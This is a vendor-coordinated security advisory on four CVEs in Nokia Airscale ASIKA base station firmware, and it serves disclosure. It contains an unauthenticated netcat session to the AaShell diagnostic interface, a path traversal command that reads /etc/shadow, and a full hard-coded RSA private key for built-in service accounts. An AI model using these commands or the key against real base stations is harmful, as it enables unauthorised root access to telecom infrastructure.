Multiple vulnerabilities in Nokia BTS Airscale ASIKA

CVE-2023-25186 / CVE-2023-25188 CVE-2023-25187 / CVE-2023-25185

Security advisory

2023/02/21

Geoffrey Bertoli
Lena David

Vulnerabilities description – Nokia Airscale ASIKA

Introduction

Synacktiv performed an audit on the base transceiver station Nokia Airscale ASIKA, running the firmware version **btsmed_5G19B_GNB_0007_001836_000863**, and discovered multiple vulnerabilities:

- **V01** – Relative path traversal (CVE-2023-25186)
- **V02** – Principle of least privilege (CVE-2023-25188)
- **V03** – Use of Hard-coded private key (CVE-2023-25187)
- **V04** – Privilege escalation though improperly protected services (CVE-2023-25185)

The vulnerabilities affect several components of the device, including but not limited to:

- The *AaShell* interface handle by the *CCSDeamon* on 15007/tcp port.
- The web interface.
- The underlying software running on Linux that handle the passwords and the authentication.

Affected versions

At the time of writing, the version **btsmed_5G19B_GNB_0007_001836_000863** of the software is known to be vulnerable. All vulnerabilities described below are fixed as of Nokia Single RAN 21B.

Timeline

Date	Action
2022/08/08	Vulnerability details sent to security-alert@nokia.com.
2023/02/21	Public release.

Device Setup

In order to access the *CCSDeamon* on port 15007/tcp, the Ethernet Port Security should be disabled.

V-01 Relative Path Traversal (CVE-2023-25186)

Once the Ethernet port security is disabled, some services are accessible such as *AaShell* on port 15007/tcp, provided by the *CCSDaemonExe* binary. It is possible to connect to the device using *netcat*.

```
$ nc 10.45.2.161 15007
AaShell>
```

This interface provides a limited Command Line Interface, and there is no authentication. Only the following commands are accessible:

```
AaShell> ?
Command                  Description
------------------------------------
?                        Print description of commands
help                     Print description of commands
quit                     Quit shell session
cmd                      Read commands from file
proc                     Print list of running processes
node                     Prints own node related information
nodes                    Prints node related information for known nodes
procdump                 CC&S AaProcDump info
tag                      CC&S TAG parameter configuration
svc                      CC&S Service Registry parameter configuration
rad                      CC&S R&D parameter configuration
log                      CC&S trouble shooting log collection
regfile                  CC&S Trbl list of registered files
trblserver               CC&S AaTrblServer control commands
tpclient                 CC&S TestPorst client status
tpserver                 CC&S TestPort server status
tbts                     CC&S test case control
sicftp                   CC&S SICFTP service
volume                   CC&S storage volumes information
mema                     CC&S mem adapter services
mtrace                   Help command for glibc mtrace functionality
rel                      CC&S release tag
msgpool                  CC&S IPC message pool info
msghistory               CC&S IPC message pool history info
rtoseu                   CC&S RTOSApi eu info
aastat                   CC&S statistics info
syslog                   CC&S AaSysLog info
print                    CC&S AaSysLog printing command
sysinfo                  CC&S AaSysInfo info
atrace                   CC&S Allocation Tracing info
mb                       CC&S Message Broker info
systime                  CC&S AaSysTime info
cpid                     CC&S Cpid info
largemsggw               CC&S AaSysCom LargeMsgGW info
link                     CC&S AaSysCom Link info
hop                      CC&S AaSysCom Hop info
syscom                   CC&S AaSysCom performance tests
dropped                  CC&S AaSysCom Drop History
msgstats                 CC&S AaSysCom Message Send Statistics
bind                     CC&S AaSysCom Bind info
aasyscomgw               CC&S AaSysCom GW info
error                    CC&S AaError info
prof                     CC&S AaCpuProfiler Service Command
aasyscomkernelgw         CC&S AaSysComKernel GW info
pcapFileCaptureStart     Start AaPacketCapture with capture to a file
pcapCaptureStatus        Show status of captures
pcapCaptureStop          Stop capture
pcapLiveCaptureReceiver  Set receiver of captured data
pcapLiveCaptureStart     Start AaPacketCapture with live capture to a remote endpoint
udslink                  CC&S AaSysComUdsLink info
```

Using the *cmd* command, it is possible to read and execute a list of commands from a file.

```
AaShell> cmd
NAME
     CC&S Shell Commands from File

USAGE
     cmd source

Example:
     cmd /ram/cmdfile.txt
```

As shown on the code block above, it is possible to read the command files only in the */ram* folder. However, this check is affected by a path traversal vulnerability. Moreover, since the *CCSDaemonExe* service is running with *root* privileges, it is possible to read any file on the BTS file system, such as */etc/shadow*.

Reading any file not containing commands will print an error message with the content of the line where the error was triggered. This behavior mixed with the path traversal vulnerability allows dumping the content of any file on the system.

```
AaShell> cmd /ram/../../../../../../../etc/shadow
Execute command: root:*:::::::
'root:*:::::::' is not a valid command

Execute command: toor4nsn:$6$ZuTtnMHn$4KLAf7LqouunwIMU[...]n3izt9tEXXTg/:::::::
'toor4nsn:$6$ZuTtnMHn$4KLAf7LqouunwIMU[...]n3izt9tEXXTg/:::::::' is not a valid command

Execute command: btssw:*:0::::::
'btssw:*:0::::::' is not a valid command
```

V-02 Principle of least privilege (CVE-2023-25188)

The principle of least privilege, or least privilege access is a security principle that runs on the assumption that everyone is a potential threat and because of that, they should only be granted the permissions they need to complete their job function. The principle of least privilege extends beyond human users, and can be applied to programs, applications, systems, and devices.

It has been identified that the Nokia Airscale ASIKA does not apply this principle, especially for the following services:

```
root@fct-0a:~ >ps aux | grep root
root         1  0.2  0.0  11452  9572 ?        Ss   Mar12   9:19 /sbin/init nopti nospectre_v2
root         2  0.0  0.0      0     0 ?        S    Mar12   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   Mar12   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   Mar12   0:00 [rcu_par_gp]
root         8  0.0  0.0      0     0 ?        I<   Mar12   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    Mar12   0:05 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    Mar12   1:34 [rcu_preempt]
[...]
root     4002  0.0  0.0   5724  2332 ?      Ss   Mar12   0:00 /usr/sbin/vsftpd
[...]
root    16208  0.1  0.4 4102544 68192 ?      Ssl  Mar12   4:47 /opt/CCS/CCSDaemonExe --startup=nid=0x1011 -c
ccs.service.aaconfig.shell.stream.port 15007
[...]
root    19283  0.0  0.0   3544  2768 ?       Ss   Mar12   0:00 /bin/bash /opt/nokia/logging_agent/launch_logging_agent.sh
root    19285  0.0  2.7 1617836 443352 ?     Sl   Mar12   0:24 ./logging_agent
```

If an attacker gained remote code execution on any of these services (as it is possible for the aashell V-01), they would be able to gain full access to the underlying server.

Moreover, the default root configured for the FTP server is the root of the filesystem, meaning that it is possible for an attacker having access to the FTP service to trigger remote code execution.

V-03 Use of Hard-coded private key (CVE-2023-25187)

On the *Linux* operating system, there are 2 accounts :

- toor4nsn
- serviceuser

These users have a default public key registered in the SSH *authorized_keys* file in their home folder. These SSH keys are hardcoded in the software package provided by Nokia.

Synacktiv experts were able to retrieve the private key which is :

```
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqo+qwR7TI153Y2cgKYjGb+AeUy/CicupmNcPQBXLATcm2doS
WZOla58ndvdXZ4Euzf/JSAzLPBBOmZp4oaOh3twYX6rCVqWkODUMVB9031bVPJz+
gQlYWejRLnjbz2xrmLQ1Dzltgjtb5VAB/81tlVVY7ULI3d24PFMsaBrhsbLyV7nB
gewD32nPnPWn4T3nXEX2mKjEXhmAJdAgHXHNyEWzAhFlQfDl3i9c700PNoA1l5z0
q6amlokrCIaW5MwaQgB5Byh7Z6eAKjbm3dx0kSHMwa+V+Ndb+pXLMDtMgbo4F5Tg
fwNJdvAoiKC9brS/Dd/+dXfWVO4tjyp20Vq8FQIDAQABAoIBAQCXW3LeeipIItaz
wZpLAXOHaE3A6IssmS1h0sdXyX8jDvxNKzZJg7qybMQq0Igh9APDDxBh/eiE3rvB
l9EhMAK/sHV4wCJBnjDDKGBObrPaVkZYycEYZWCgOPkY0mvOAJrjIlhLsFy7y01b
i8qaZISwltKZikCSkuWhsvWfVOugMofv0bAJ6AhEPOyk2alr8kC9XRZYliIobyrn
DHwU+lXmGIrMaxR41J4tK4IJ7MuWSXJGEONKtqmsWdpmzEM9Ejcsz65qI0Dwuq5H
uRyVqb+KyZQCMaQRR3AnGoO7wSsv0EBoIg4dk1vK8C6wXsMETXxyUsOElmNKIGg9
oRuw4jZpAoGBANQfMf7WLNpj5XydYP+oLZl1gaYLLE31/1If7I3Mo4EHGb2AWDZg
bggXxCp/sopYw3f3ZQSdaywdyN4Du3F9MUEPq/cTzrivI1IOupajUTe8Enc0+DjQ
TVJnqzE/Zu0sh3KvR/Kb8aLSqrGqFv4KPdhmUWKZePuFc6POdyVII2X7AoGBAM3X
pfdaevfzxNVIrPiyyKPTiCAtpeXXFV377QxM/festc+KltGZKsynKtZcjsbzNqjM
ddaz9duY7jDTo91A2FKqCamsWdyM9TAB1aaouDN9QbIzJmKPScqL5+LZ22S+IYYd
2u4nGMIbjS4dJteCdwVcwZ4bbQhJoUf42AqUOJkvAoGAWAmadmnts7ZCSLYIzBLA
2jAq3v9EJBc1IKCfTTrhoWuRA1WBRxA+mp1CjWDyePjeJ6xGAORU1rqF458o7LFI
//fBJ4rRAVWvEx+J0Xt2+erUvyT84JeTf+AG7SmjTkxs6uxUsByI7UsCDTrK0CTw
BiBxJrsLu1hn5lSKnq6SAoECgYBdVW63nZssWqfhXbawfcBkKEIM9SXH9aKGnvh5
H1/4saMum9SO7Thu202dLRLAOv+JwkucMrVEAS/fi9c9N23e7aK8AJ4uVuvF/M73
ZoE/N4hWWMMK5ZW79XwLbGUCZQOmYFsoqSmcugll42n9RfbZw5k3K5BgtaIflEHB
ajvPmQKBgQCQoy+oPWF+g4tdDt+eXTnnJwWQ1iz8GGN6ZLOxXAqFH9Kaai5PzKlB
QVeGW6CZdUEk/DW5+8mSfwUdElw9T0ggJ4TLxFa85f9utHQJUj4J8BdPpmDza7Qw
z1EZRoSB1btfICAZ5r64TtpLkj7a7KUm10RMEWoskbqSjCcSRIbRsg==
-----END RSA PRIVATE KEY-----
```

Using this private key it is possible to connect to any device running this firmware. Synacktiv experts recommend deleting the corresponding public keys from the future releases of the software.

V-04 Privilege escalation though improperly protected services (CVE-2023-25185)

The following services are configured with *systemd* units having broad permissions.

```
root@fct-0a:/tmpScript > ls -ali /etc/systemd/system/
total 448
[...]
30448 -rwxrwxrwt   1 root root  113 Aug  7 00:05 bm-ready.target
[..]
30446 -rwxrwxrwt   1 root root  293 Aug  7 00:05 bm.service
[...]
30458 -rwxrwxrwt   1 root root  371 Aug  7 00:05 soam-bbcutilexe.service
30462 -rwxrwxrwt   1 root root  369 Aug  7 00:05 soam-bstat.service
30461 -rwxrwxrwt   1 root root  413 Aug  7 00:05 soam-btsomexe.service
30459 -rwxrwxrwt   1 root root  360 Aug  7 00:05 soam-dcs.service
30456 -rwxrwxrwt   1 root root  360 Aug  7 00:05 soam-dem.service
30454 -rwxrwxrwt   1 root root  360 Aug  7 00:05 soam-fri.service
30450 -rwxrwxrwt   1 root root  361 Aug  7 00:05 soam-has.service
30452 -rwxrwxrwt   1 root root  361 Aug  7 00:05 soam-lts.service
30449 -rwxrwxrwt   1 root root  360 Aug  7 00:05 soam-mci.service
30453 -rwxrwxrwt   1 root root  369 Aug  7 00:05 soam-mctrl.service
30445 -rwxrwxrwt   1 root root  366 Aug  7 00:05 soam-ne3sadapt.service
30455 -rwxrwxrwt   1 root root  360 Aug  7 00:05 soam-nts.service
30447 -rwxrwxrwt   1 root root   73 Aug  7 00:05 soam-ready.target
[...]
30457 -rwxrwxrwt   1 root root  361 Aug  7 00:05 soam-swm.service
30463 -rwxrwxrwt   1 root root  467 Aug  7 00:05 soam-sysadapter.service
30460 -rwxrwxrwt   1 root root  361 Aug  7 00:05 soam-tas.service
 [...]
30280 -rwxrwxrwt   1 root root  354 Aug  7 00:05 trace-controller-configurator.service
[…]
```

An attacker could modify one of these services to gain *root* privileges on the system.

Appendices – CVE details provided by Nokia

CVE-2023-25186

Vulnerability Name	Relative Path Traversal
Vulnerability Type	Directory Traversal
CVE	CVE-2023-25186
CVSS Vector	CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:H
CVSS Score	5.1
Affected Versions	Nokia Single RAN SW releases 19B, 20A, 20B, 20C and 21A
Fixed Version	Nokia Single RAN 21B onwards

Attack Vector :
"A mobile network solution internal fault was found in Nokia Single RAN SW releases 19B, 20A, 20B, 20C and 21A. Exploit of this fault is not possible from outside of mobile network solution architecture which is from user UEs or roaming networks or from Internet. Exploit is possible only from CSP mobile network solution internal BTS management network. To exploit the vulnerability, BTS administrator has to disable the recommended 'Security for Ethernet ports' (SOE) flag i.e. a security hardening feature from BTS. Only after this the AaShell diagnostic tool becomes active and communication service provider(CSP) staff can misuse the AaShell for reading BTS internal file-system without AaShell requesting login authentication.

From release 21B onwards, AaShell has been hardened to restrict access to the loopback address only so that one can access Aashell only after autheticating to BTS, and also fixed path traversal issue."

Description :
If/when Communication Service Provider(CSP) (as BTS administrator) removes security hardenings from Nokia Single RAN BTS baseband unit, a directory path traversal in Nokia BTS baseband unit diagnostic tool AaShell (which is by default disabled) provides access to BTS baseband unit internal filesystem from mobile network solution internal BTS management network.

CVE-2023-25188

Vulnerability Name	Principle of lease privilege
Vulnerability Type	Risk of security misconfiguration
CVE	CVE-2023-25188
CVSS Vector	CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:H
CVSS Score	5.1
Affected Versions	Nokia Single RAN SW releases 19B, 20A, 20B, 20C and 21A
Fixed Version	Nokia Single RAN 21B onwards

Attack Vector :
"A mobile network solution internal fault was found in Nokia Single RAN SW releases 19B, 20A, 20B, 20C and 21A. Exploit of this fault is not possible from outside of mobile network solution architecture. That is from user UEs or roaming networks or from Internet. Exploit is possible only from CSP mobile network solution internal BTS management network. To exploit the vulnerability, BTS administrator has to disable the recommended 'Security for Ethernet ports' (SOE) flag i.e. a security hardening feature from BTS. Only after this the AaShell diagnostic tool becomes active and communication service provider(CSP) staff can misuse the AaShell for gaining unauthenticated access to BTS internal processes running with high privileges in BTS embedded Linux OS.

From release 21B onwards, AaShell has been hardened to restrict access to the loopback address only so that one can access Aashell only after autheticating to BTS. Also process privileges have been tighten to required level."

Description :
If/when CSP (as BTS administrator) removes security hardenings from Nokia Single RAN BTS baseband unit, BTS baseband unit diagnostic tool AaShell (which is by default disabled) allows unauthenticated access from mobile network solution internal BTS management network to BTS embedded Linux operating system level.

CVE-2023-25187

Vulnerability Name	Use of Hard-Coded private key
Vulnerability Type	Default SSH protocol key value usage in local network (mobile network solution internal management network)
CVE	CVE-2023-25187
CVSS Vector	CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H
CVSS Score	6.3
Affected Versions	Nokia Single RAN SW releases 19B, 20A, 20B, 20C and 21A
Fixed Version	Nokia Single RAN 21B onwards

Attack Vector :
"A mobile network solution internal fault was found in Nokia Single RAN SW releases 19B, 20A, 20B, 20C and 21A. The fault does not exist (i.e., is fixed) release 21B onwards. Exploit of this Nokia BTS product fault (i.e. vulnerability) is not possible from outside of mobile network solution architecture. This means that exploit is not possible from mobile network user UEs, from roaming networks, or from Internet. Exploit is possible only from CSP mobile network solution internal BTS management network. To exploit the vulnerability, BTS administrator has to configurable enable SSH server in BTS baseband unit. The BTS SSH server is by default disabled and enabled only in deep level troubleshooting activities."

Description :
"Nokia Single RAN commissioning procedures do not change (factory time installed) default SSH public/private key values for network operator specific. As a result, CSP internal BTS network SSH server(disabled by default) continues to apply the default SSH public/private key values. These keys don't give access to BTS, as service user authentication is username/password based on top of SSH.

Nokia factory installed default SSH keys are meant to be changed operator specific during BTS deployment commissioning phase. However, before 21B release, BTS commissioning manuals do not instruct to change default SSH keys(to BTS operator specific). This gives possibility for malicious operability staff inside CSP network, attempt MITM exploit for BTS service user access, during the moments SSH is enabled for Nokia service personnel for troubleshooring activities.

From release 21B onwards BTS commissioning procedures change Nokia default SSH keys to operator specific."

CVE-2023-25185

```
Vulnerability Name :    Privilege escalation through unproperly protected services
Vulnerability Type :    Certain software processes in BTS internal software design
have unnecessary high privileges to BTS embedded operating system (OS) resources
CVE                :    CVE-2023-25185
CVSS Vector        :    CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
CVSS Score         :    3.8
Affected Versions  :    Nokia Single RAN SW releases 19B, 20A, 20B, 20C and 21A
Fixed Version      :    Nokia Single RAN 21B onwards
Attack Vector      :    Unknown or No exploit demonstrated
```

Description :
A mobile network solution internal fault was found in Nokia Single RAN software releases that certain software processes in BTS internal software design have unnecessary high privileges to BTS embedded operating system (OS) resources. Nokia has lowered the privileges of these processes in Single RAN SW release 21B onwards, as BTS internal security hardening act.